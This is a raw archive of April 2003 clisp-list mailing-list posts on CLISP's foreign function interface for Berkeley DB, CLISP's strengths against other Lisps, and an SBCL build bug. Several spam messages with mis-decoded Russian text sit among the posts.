(IDENT:25@dalet.fauser.it [192.168.1.2]) by dalet.fauser.it (8.12.9/8.12.9) with ESMTP id h38KGXSJ003101; Tue, 8 Apr 2003 22:16:34 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.12.9/8.12.9/Submit) id h38JoUQ4002954; Tue, 8 Apr 2003 21:50:30 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16019.10246.562129.673209@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C5376@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE036C5376@G8PQD.blf01.telekom.de> X-Mailer: VM 7.14 under Emacs 21.2.1 Subject: [clisp-list] FFI: :malloc-free allocation (was: FFI guru/wizard award to be re warded) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 8 13:18:05 2003 X-Original-Date: Tue, 8 Apr 2003 21:50:30 +0200 Hoehle, Joerg-Cyril writes: > Using (setf (slot (element DBT-pool 0) 'data) "foobar") > invokes malloc(). We can free() that memory using > (setf (slot (element DBT-pool pool-index) 'data) nil) really interesting! I wasn't aware of this feature. > On creating and using foreign-objects dynamically instead of the > def-c-var trick I used this approach. I wrote the following macro: (defmacro with-dbt ((dbt value) &body body) (let ((val (gensym)) (data (gensym )) (foreign-type-decl (gensym)) (foreign-length (gensym))) `(let ((,val ,value) (,dbt (make-dbt :ulen 0 :dlen 0 :doff 0 :flags 0))) (multiple-value-bind (,foreign-type-decl ,foreign-length) (make-foreign-type-decl ,val) (with-c-var (,data ,foreign-type-decl ,val) (setf (dbt-data ,dbt) (c-var-address ,data)) (setf (dbt-size ,dbt) ,foreign-length) ,@body))))) (in my definition of DBT, data is a c-pointer). Polymorphism is managed by MAKE-FOREIGN-TYPE-DECL, a generic functions which dispatch on the type of its argument: (defmethod make-foreign-type-decl ((value integer)) (typecase value (fixnum (values 'int sizeof-int)) (otherwise (signal-db-error (format nil "Integer type ~A not supported" (type-of value)))))) (defmethod make-foreign-type-decl ((value string)) (let ((l (length value))) (values `(c-array character ,l) l))) etc. I also wrote a thin C wrapper around DB functions, since it is almost impossible to use DB structure and its function pointers from Lisp: (def-c-type DB c-pointer) (def-c-type DB-TXN c-pointer) (def-call-out ffi-db-get (:name "db_get") (:arguments (db DB :in) (txn DB-TXN :in) (key (c-ptr DBT) :in) (data (c-ptr DBT) :out) (flags uint32 :in)) (:return-type int)) int db_get (DB *dbp, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags) { int r; db_log (3, "db_get: dbp = %p, txnid = %p, key = %p, data = %p, " "flags = %u", dbp, txnid, key, data, flags); data->flags = DB_DBT_MALLOC; r = dbp->get (dbp, txnid, key, data, flags); dbFuncLog (db->get, r); return r; } My Lisp version of DB->get: (defun db-get (key &key (db *default-db*) (txn *default-txn*) (flags 0) (data-type '(unsigned-byte 8))) "Retrieves key/data pairs from database." (if (valid-data-type-p data-type) (with-dbt (key-dbt key) (multiple-value-bind (r data) (ffi-db-get (foreign-object-address db) (foreign-object-address txn) key-dbt flags) (unwind-protect (cond ;; Success, key found. ((= r 0) (values r (get-foreign-data (dbt-data data) (dbt-size data) data-type))) ;; Success, key not found. ((not-found-error-p r) (values r nil)) ;; Error. (t (signal-db-error "db-get" r))) ;; Free DBT data. (linux:free (dbt-data data))))) (signal-db-error (format nil "Invalid data type: ~A" data-type)))) IMHO, this solution is quite simple and intuitive. Probably performances can be improved, but for my needs they are accetable. From unsub@artaddiction.com Tue Apr 08 15:55:34 2003 Received: from mail1.artmarket.com ([194.242.43.182]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193202-0005oQ-00 for ; Tue, 08 Apr 2003 15:55:32 -0700 From: 30 years later To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Pablo Picasso Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 8 15:56:05 2003 X-Original-Date: Tue, 08 Apr 2003 15:55:32 -0700 ARTPRICE SEARCHBAR TM - the death 0f Picasso

April 8, 1973 - April 8, 2003
30th Anniversary of the death of Picasso

«Picasso, Papiers Journaux»
April 3, 200-June 30, 2003, Musée national Picasso, Paris
5, rue de Thorigny, 75 003
Open daily: 9:30am - 6:00pm

8 avril 1973 - 8 avril 2003
30ème anniversaire de la mort de Picasso

«Picasso, Papiers Journaux»
3 avril 2003-30 juin 2003, Musée national Picasso, Paris
5, rue de Thorigny, 75003
Ouvert tous les jours : 9h30 - 18h00





THE WORLD LEADER IN ART MARKET INFORMATION

















To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artaddiction.com/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artaddiction.com/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artaddiction.com/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artaddiction.com/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.
En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage.
From oq2r31a@tecoenergy.com Tue Apr 08 18:36:48 2003 Received: from 244-140.interplex.ca ([66.201.244.140] helo=66.201.244.140) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1934Vc-0005gd-00 for ; Tue, 08 Apr 2003 18:36:16 -0700 From: 236240@bkrycft.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: Web Mail 5.0.11-9 Message-ID: 6D9F9A8-2F4EEC3D-68C4191F-3E3FC3AF-338F2413@schweg.com Subject: [clisp-list] îÁ ÍÁÊÓËÉÅ ÐÒÁÚÄÎÉËÉ × ôÁÌÌÉÎÎ ÉÌÉ òÉÇÕ ÚÁ 149 Å×ÒÏ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 8 18:37:07 2003 X-Original-Date: Tue, 08 Apr 2003 21:40:13 -0400
îÁ ÍÁÊÓËÉÅ ÐÒÁÚÄÎÉËÉ × ôÁÌÌÉÎÎ ÉÌÉ òÉÇÕ ÚÁ 149 Å×ÒÏ, 3 ÎÏÞÉ/4 ÄÎÑ, ÏÔÅÌØ 4*, Ä×ÕÈÒÁÚÏ×ÏÅ ÐÉÔÁÎÉÅ, 4 ÜËÓËÕÒÓÉÉ.ôÕÒÏÐÅÒÁÔÏÒ.
á×ÔÏÂÕÓÎÙÊ ÔÕÒ × çÏÌÌÁÎÄÉÀ ÎÁ ÐÒÁÚÄÎÉË Ã×ÅÔÏ× É äÅÎØ òÏÖÄÅÎÉÑ ëÏÒÏÌÅ×Ù-335 Õ.Å ÎÁ 10 ÄÎÅÊ.âÅÚ ÎÏÞÎÙÈ ÐÅÒÅÅÚÄÏ×.÷ÙÅÚÄ 27 ÁÐÒÅÌÑ.
á×ÔÏÂÕÓÎÙÊ ÔÕÒ × çÅÒÍÁÎÉÀ ÚÁ 260 Õ.Å. ÷ÙÅÚÄ 27 ÁÐÒÅÌÑ.âÅÚ ÎÏÞÎÙÈ.
Ô.926-27-16/17











*** 1792681487 4812BF61-4FF869BF-5BA0F723-D89C6FD-4A083496 From 006@seventeen.com Tue Apr 08 22:12:13 2003 Received: from [61.34.111.13] (helo=61.34.111.13) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1937sb-0004W3-00 for ; Tue, 08 Apr 2003 22:12:13 -0700 From: drpalmer@aptalaska.net To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: GoldMine [5.70.20404] Message-ID: 236243@humboldt.k12.ca.us Subject: [clisp-list] óÏÔÏ×ÙÅ ÔÅÌÅÆÏÎÙ ÐÏ ÎÉÚËÉÍ ÃÅÎÁÍ!!! 517-1432 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 8 22:13:02 2003 X-Original-Date: Wed, 09 Apr 2003 00:12:59 -0500
ïÆÉÃÉÁÌØÎÏÅ ÏÆÏÒÍÌÅÎÉÅ ÎÁ ×ÁÛ ÐÁÓÐÏÒÔ
ìÀÂÙÅ ÔÁÒÉÆÙ íôó ÓËÉÄËÉ 50 ÐÒÏÃÅÎÔÏ×

ú×ÏÎÉÔÅ 517-1432, ÄÏÓÔÁ×ËÁ ÐÏ íÏÓË×Å
÷ ÎÁÌÉÞÉÉ ÍÎÏÇÏ ÓÏÔÏ×ÙÈ ÔÅÌÅÆÏÎÏ× ÐÏ ÎÉÚËÉÍ ÃÅÎÁÍ


siemens m50 106$
siemens sl45i 185$
siemens sl42 157$
sonyericsson T68I 249$
sonyericsson T300 169$
trium eclipse (Ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ ,ÐÏÌÉÆÏÎÉÑ,GPRS) 109$
motorola T720i 249$
samsung s100 369$
samsungT100 320$
siemens s55 285$
panasonic-gd55 (ÏÞÅÎØ ÍÁÌÅÎØËÉÊ ÔÅÌÅÆÏÎ)


÷ÓÅÇÄÁ × ÎÁÌÉÞÉÉ ×ÅÓØ ÁÓÓÏÒÔÉÍÅÎÔ nokia, siemens, samsung, motorola
÷ÓÅ ÔÅÌÅÆÏÎÙ ÒÕÓÓÉÃÉÒÏ×ÁÎÙÅ, ÇÁÒÁÎÔÉÑ 1 ÇÏÄ, ÄÏÓÔÁ×ËÁ ÐÏ íÏÓË×Å
ú×ÏÎÉÔÅ 517-1432











* 114575525 259E48A4-2458240A-6EFBCBF9-5AAD2C03-1283280B From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 09 03:58:33 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193DHi-0005TN-00 for ; Wed, 09 Apr 2003 03:58:31 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 9 Apr 2003 12:58:14 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <23A0FSX1>; Wed, 9 Apr 2003 12:58:14 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C5919@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] :malloc-free allocation (was: FFI guru/wizard award to be rewarde d) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 9 03:59:06 2003 X-Original-Date: Wed, 9 Apr 2003 12:58:06 +0200 Hi, Aurelio Bignoli wrote: > > Using (setf (slot (element DBT-pool 0) 'data) "foobar") > > invokes malloc(). We can free() that memory using > > (setf (slot (element DBT-pool pool-index) 'data) nil) Furthermore, if you (setf (slot ...) "bar") the previous contents are free()'d (if not NULL), and a new string is malloc()'ed and installed. That's useful for DB->put() But note that this does not work for C-POINTER. Only the pointer types mentioned in impnotes.html on def-c-var (i.e. those for which a conversion Lisp<->C actually occurs). >I also wrote a thin C wrapper around DB functions, since it is almost Do you believe you would have written a CLISP module if you had known about my article earlier? One of my points is that writing FFI+C code is half the way of a writing module, *and* writing modules prevents you from the CAST/TYPECASE madness. OTOH, you need to be more confident with CLISP's C-level functions, e.g. allocate_string() etc. >impossible to use DB structure and its function pointers from Lisp: I guess one of your points is that the functions to be called are like db->get(), i.e. there's nothing with a fixed name like "BDB_get()". This looks like instance methods -- not impossible, but possibly impractical. I never thought about these, but they are conceptually close to shared-library functions: they hang of the library, here the DB pointer. Is there anything else which makes you feel that it's impossible? >IMHO, this solution is quite simple and intuitive. Probably Yes, it seems straightforwand and it looks like it's easier to port to other Lisps than if you had written a CLISP module and interfaced to CLISP's C-level functions. Again, if you now know about my article on modules, would writing a module seem as straightforward to you now as your current approach? >performances can be improved, but for my needs they are accetable. Yes. One way would be to move even more stuff to the portable C wrappers. It may not become much larger or complex from doing so. > (typecase value > (fixnum (values 'int sizeof-int)) Why don't you use something along (typecase ((unsigned-int 32) (values 'int/uint32 (FFI:sizeof 'int-or-uint32)) ((signed-int 32) (values 'sint32 (sizeof 'sint32)) ... Constant-folding by hand? Fixnum can be pretty small (i.e. only 24 bits). Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 09 04:02:26 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193DLU-0006ac-00 for ; Wed, 09 Apr 2003 04:02:25 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 9 Apr 2003 13:01:58 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <23A0FS9N>; Wed, 9 Apr 2003 13:01:58 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C591B@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] :malloc-free allocation -- here: instance methods Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 9 04:03:05 2003 X-Original-Date: Wed, 9 Apr 2003 13:01:55 +0200 Hi, Berkeley DB's C-level interface uses DB->get(...) instead of a fixed function like DB_get(...) How could one interface to this? A possible way is explored here. On instance methods One could use (def-c-struct DB (get (c-function (:arguments ...) ...)) (put (c-function ...)) ...many others function slots) to have CLISP create callable foreign-function objects that match C's DB->put(). (def-call-out db-create ; which you already must have (:arguments (DB (c-ptr c-pointer) :out) ...)) Then (funcall (slot 'get ; create foreign-function object out of DB->get slot (foreign-value (foreign-address-variable ; which nobody has but me ; - much like cast: foreign-address -> foreign-variable (nth-value 1 (db-create ...)) ; that DB pointer 'DB))) db-txn key data flags) One should memoize the foreign-function object, instead of creating a new one for each call. However, duplicating the DB structure in Lisp, if the BDB C structure changes, Lisp doesn't know -- not nice! Unreliable :( A wrapper around the latter remembers me of typical OO frameworks for Scheme, where you pass the function name as argument (to a closure, which does the dispatch): (DB-invoke 'get DB-handle ...args) or (DB-invoke DB-handle 'get ...args) In CL/CLOS, people tend to prefer (DB-get DB-handle ...args) (DB-put DB-handle ...args) It could still be defined as: (defmethod DB-get ((DB-handle DB-class) &rest args) (apply (memoizing-DB-foreign-function-factory DB-handle 'get) args)) Of course, DB-get could be turned into reader slots of the DB-class CLOS miror -- use slots for presumably often used functions like get and put. [memoizing-]DB-foreign-function-factory could be implemented in C, to avoid the problem about the C DB struct being changed by the BDB people, without Lisp noticing this change. This would prevent getting out of sync with BDB/ db.h Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 10 03:29:26 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193ZJ6-0007Dy-00 for ; Thu, 10 Apr 2003 03:29:24 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 10 Apr 2003 11:15:08 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <23A0G85X>; Thu, 10 Apr 2003 11:15:07 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] What are CLISP's "selling" points? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 10 03:30:13 2003 X-Original-Date: Thu, 10 Apr 2003 11:15:04 +0200 Hi, I'm wondering what attracts people to CLISP. Maybe developers could = then concentrate efforts on these distinguishing areas. My likes: + small size (both disk & run-time) + works on many many platforms (many unixes) + portability stresser, e.g. any place which might cause an error = actually signals an error (except declarations :-) at run-time + robustness -- for years, I had no single crash using Amiga-CLISP = which I could not trace down to a bug in gcc(!) or in CLISP, which got = fixed soon. Very few crashes in total. This generates warm feelings for = every Amiga user. These days however, CLISP sadly has a few known = GC-triggered bugs somewhere in its code, seemingly hard to nail down. + ...? ~ perhaps UNICODE, but Allegro seems to have the reputation of The Lisp = with excellent unicode support ~ perhaps speed? This came out as a surprise to me yesterday, but my Logfile-analysis = application works faster in CLISP than in Corman Lisp (which compiles = to native code), even without my recent FAST-VECTOR-POSITION = accelerator hack! So far, it's not a fair comparison: I spent days analysing where = slowness occurred in CLISP (e.g. certain calls to parse-integer), and = just compiled the thing in CormanLisp, without any optimization = settings. More on this another time. I don't believe people are attracted by: - FFI (too restrictive in the past, but with some jewels, esp. the very = expressive def-call-out) My bet is people just want the interface stuff to work, so that they = can concentrate on the application instead. - CLOS/MOP Several people (e.g. Tim Bradshaw) were turned away by CLISP's CLOS = missing MOP features or other restrictions in CLISP's implementation of = CLOS. I once suggested that CLISP might contain FAQ/documentation entries on = how PCL can be used instead of its builtin-closs. Each CLISP release = could ensure that it still runs with the latest PCL. Then people in = havy needs of a full CLOS/MOP could use that, like I believe CMUCL = does. FWIW, CLISP's CLOS once was PCL, before it got replaced by a more = efficient but more restricted builtin-version of its own. I cannot propose to do that, since I don't have any need for CLOS+MOP. - inspector/debugger/stepper, yet Corman's seems even less powerfull = (more lacking?) than CLISP's (grain of salt here, I have only been = using CormanLisp for 2 days) - GUI - no McClim, no cello, don't know about garnet, ... What are CLISP-users using here? - ...? I also received feedback by some people who considered CLISP much = easier on the beginner than e.g. CMUCL. I fail to understand this, but = maybe this is something to concentrate upon: first impressions count a = lot. Many SW-packages get tossed away within half an hour of toying = with them. Maybe CMUCL beginners get turned away by the warnings about special = declarations they dont' understand when they use (setq x 123) at = top-level, which beginners tend to do a lot? -- but this is just a = supposition of mine. Your suggestions/ideas are welcome, J=F6rg H=F6hle. From csr21@cam.ac.uk Thu Apr 10 05:27:54 2003 Received: from gold.csi.cam.ac.uk ([131.111.8.12]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193b9G-0003DE-00 for ; Thu, 10 Apr 2003 05:27:23 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by gold.csi.cam.ac.uk with esmtp (Exim 4.12) id 193b8k-0006N6-00 for clisp-list@lists.sourceforge.net; Thu, 10 Apr 2003 13:26:50 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 193b8j-0004TN-00 for ; Thu, 10 Apr 2003 13:26:49 +0100 To: CLISP From: Christophe Rhodes Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 10 05:28:04 2003 X-Original-Date: Thu, 10 Apr 2003 13:26:49 +0100 Hi, Firstly, let me just thank you for being able to announce another milestone in the ability of clisp to act as host Lisp for SBCL's build. Compilation of the 289 files now proceeds to completion, before the linking ("genesis") phase dies shortly after startup with an error that I don't yet understand. To get this far, I had to turn off complex uses of the pretty printer, I'm afraid; it's all too easy to trigger assertion errors or crash the system (and I haven't yet had any luck in distilling this to a small test case, more's the pity). Apart from fixing some portability issues in sbcl's code base, there was one other major problem that I think is an issue in CLISP; I've worked around it for now, but you should know about it. At the toplevel, do (defstruct foo a) (defmethod make-load-form ((x foo) &optional env) (make-load-form-saving-slots x :environment env)) and put in a file, say foo.lisp: (defvar *foo* '#S(FOO :A BAR)) Compile and load the file, and observe that *FOO* is correctly initialized to a FOO structure whose A slot contains the symbol BAR. So far, so good. Now, again at the toplevel, continuing the session, do: (makunbound '*foo*) (defconstant bar 1) and recompile and reload foo.lisp. Now I observe that *FOO* is bound to #S(FOO :A 1) and not to #S(FOO :A BAR), which I believe is incorrect behaviour. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From dgou@mac.com Thu Apr 10 05:43:50 2003 Received: from a17-250-248-87.apple.com ([17.250.248.87] helo=smtpout.mac.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193bOb-0008DD-00 for ; Thu, 10 Apr 2003 05:43:13 -0700 Received: from asmtp02.mac.com (asmtp02-qfe3 [10.13.10.66]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h3ACgxGm026832 for ; Thu, 10 Apr 2003 05:42:59 -0700 (PDT) Received: from mac.com ([209.195.172.144]) by asmtp02.mac.com (Netscape Messaging Server 4.15) with ESMTP id HD4ONN00.Q1F for ; Thu, 10 Apr 2003 05:42:59 -0700 Subject: Re: [clisp-list] What are CLISP's "selling" points? Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) From: Doug Philips To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> Message-Id: X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 10 05:44:04 2003 X-Original-Date: Thu, 10 Apr 2003 08:42:59 -0400 On Thursday, Apr 10, 2003, at 05:15 US/Eastern, Hoehle, Joerg-Cyril indited: > I'm wondering what attracts people to CLISP. Maybe developers could > then concentrate efforts on these distinguishing areas. Portability is a big one, Linux (PPC, x86), MacOS/X, etc. > ~ perhaps UNICODE, but Allegro seems to have the reputation of The > Lisp with excellent unicode support Unicode would be a big win. Its hard to imagine taking an application international without it. > My bet is people just want the interface stuff to work, so that they > can concentrate on the application instead. Yup. Haven't bothered yet (want too keep cross platform stuff really cross platform without porting FFI related Hooey. > - CLOS/MOP > Several people (e.g. Tim Bradshaw) were turned away by CLISP's CLOS > missing MOP features or other restrictions in CLISP's implementation > of CLOS. So far hasn't been an issue, but at least CLISP will be good enough for first pass, proof of concept. > I cannot propose to do that, since I don't have any need for CLOS+MOP. Me neither at the moment. > - GUI - no McClim, no cello, don't know about garnet, ... > What are CLISP-users using here? Nothing as of yet. Would like to somehow get Hemlock there, but not so badly (yet) to do it myself. Problem is that with extreme portability its hard to do much "nice" and I'm personally not willing to make it harder to port to get a GUI. > Your suggestions/ideas are welcome, Thanks. I've only been using CLISP for a few weeks, but I like that I can use the same thing everywhere (OK, I couldn't build 2.30 on Mac OS/X myself, but I haven't tried the latest tree ;-) I'm getting use from 2.29 ). -D'gou From smustudent1@yahoo.com Thu Apr 10 06:45:33 2003 Received: from web12204.mail.yahoo.com ([216.136.173.88]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193cMs-0000xi-00 for ; Thu, 10 Apr 2003 06:45:30 -0700 Message-ID: <20030410134530.68577.qmail@web12204.mail.yahoo.com> Received: from [128.175.75.123] by web12204.mail.yahoo.com via HTTP; Thu, 10 Apr 2003 06:45:30 PDT From: C Y Subject: Re: [clisp-list] What are CLISP's "selling" points? To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 10 06:46:10 2003 X-Original-Date: Thu, 10 Apr 2003 06:45:30 -0700 (PDT) --- "Hoehle, Joerg-Cyril" wrote: > I don't believe people are attracted by: > > - GUI - no McClim, no cello, don't know about garnet, ... > What are CLISP-users using here? Garnet actually runs quite well on Clisp on Linux, but it is not yet truly cross platform and is never likely to be cross platform on nearly as many platforms as Clisp itself is. It might attract more users if it's look were a little more "modern" but it doesn't work with CLOS without writing a glue layer between the garnet object system and CLOS itself. Essentially, there are very few native lisp GUI apps being written currently. Hopefully this situation will improve someday. CY __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - File online, calculators, forms, and more http://tax.yahoo.com From ortmage@gmx.net Thu Apr 10 06:59:32 2003 Received: from edgar1.colorado.edu ([128.138.129.100] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193caQ-0005XF-00 for ; Thu, 10 Apr 2003 06:59:30 -0700 Received: from gmx.net (arnt21-66-dhcp.resnet.Colorado.EDU [128.138.21.66]) by edgar1.colorado.edu (8.12.9/8.12.8/ITS-6.0/standard) with ESMTP id h3ADxQS4009616; Thu, 10 Apr 2003 07:59:26 -0600 (MDT) Message-ID: <3E95781C.7040306@gmx.net> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3b) Gecko/20030210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] What are CLISP's "selling" points? References: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C5C0A@G8PQD.blf01.telekom.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 10 07:00:13 2003 X-Original-Date: Thu, 10 Apr 2003 07:56:44 -0600 Hoehle, Joerg-Cyril wrote: >Hi, > >I'm wondering what attracts people to CLISP. Maybe developers could then concentrate efforts on these distinguishing areas. > > What initially attracted me is the fact that you can build it on your own. When i first got involved with lisp, cmucl wouldn't build without already having a binary installed, SBCL was unusable, and i had a hard time getting gcl to compile. -Scott > > From pascal@informatimago.com Thu Apr 10 09:10:51 2003 Received: from thalassa.informatimago.com ([195.114.85.194] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 193eZv-0000mq-00 for ; Thu, 10 Apr 2003 09:07:08 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, 